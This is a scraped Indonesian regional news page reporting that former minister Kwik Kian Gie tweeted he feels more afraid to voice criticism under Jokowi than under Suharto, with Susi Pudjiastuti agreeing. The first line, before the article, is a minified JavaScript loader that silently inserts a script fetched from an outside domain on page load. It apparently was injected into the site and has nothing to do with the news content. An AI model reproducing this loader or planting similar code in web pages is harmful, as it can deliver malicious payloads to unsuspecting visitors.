(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Lebih Ngeri dari Rezim Suharto, Kwik dan Susi Takut Bersuara di Era Jokowi


KANALKALIMANTAN.COM – Mantan Menteri Koordinator bidang Ekonomi dan Industri di masa pemerintahan Presiden Gus Dur, Kwik Kian Gie memberikan pernyataan soal kebebasan berpendapat di Indonesia saat ini.

Ia bahkan membandingkan situasi kebebasan berpendapat di era Jokowi dengan era Soeharto.

Lewat sebuah cuitan di akun Twitternya pada Sabtu (6/2/2021) Kwik menyebut dirinya belum pernah setakut ini dalam hal berpendapat.

Ia mengaku resah dengan aksi para buzzer yang akan menyerang dan mengumbar masalah pribadi jika menyampaikan pendaoat yang tak sejalan dengan mereka.

 

Kwik lantas bercerita tentang pengalaman seputar kebebasan berpendapat yang ia rasakan di era Soeharto. Ia mengaku bisa leluasa memberi kritik tajam.

“Saya belum pernah setakut saat ini mengemukakan pendapat yg berbeda dng maksud baik memberikan alternatif. Langsung saja di-buzzer habis2an, masalah pribadi diodal-adil,” tulis Kwik.

“Zaman Pak Harto saya diberi kolom sangat longgar oleh Kompas. Kritik2 tajam. Tidak sekali pun ada masalah,” lanjutnya.

Cuitan Kwik Kian Gie soal kebebasan berpendapat (Twitter/@kiangiekwik)

Dalam kolom komentar cuitan tersebut, muncul akun milik mantan Menteri KKP Susi Pudjiastuti. Susi tampak sepakat dengan apa yang disampaikan oleh Kwik.

“I’m with Pak Kwik (Saya sependapat dengan pak Kwik),” tulis Susi dalam komentarnya.

Para warganet yang membaca cuitan tersebut lantas menuliskan beragam komentar. Sebagian besar dari mereka mendukun Kwik, ada juga yang mendebat pernyataan Kwik.

“Saya cuma sekelas warga biasa pernah juga diancam oleh buzzer di medsos. Jujur saya jadi berpikir dua kali untuk mengkritik apalagi tajam. Beberapa tweet harus saya hapus karena terlalu tajam… era ini nggak asik… sehat selalu pak, dan tetaplah bersama rakyat,” tulis warganet dengan akun @90211***.

“Jaman Pak Harto kalau sudah ada medsos, entah apa yang terjadi dengan bapak. Kok bapak jadi kehilangan jati diri,” tulis warganet lain dengan akun @aewi***.

Sebelumnya, dalam beberapa cuitan Kwik berdebat dengan salah satu Staf Ahli Menteri Keuangan, Yustinus Prastowo.

Dua orang yang berkompeten dalam bidang ekonomi ini saling beradu argumen soal utang negara. Kwik merasa pernyataanya banyak diserang oleh akun-akun warganet yang tak sepakat dengannya. (suara.com)


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.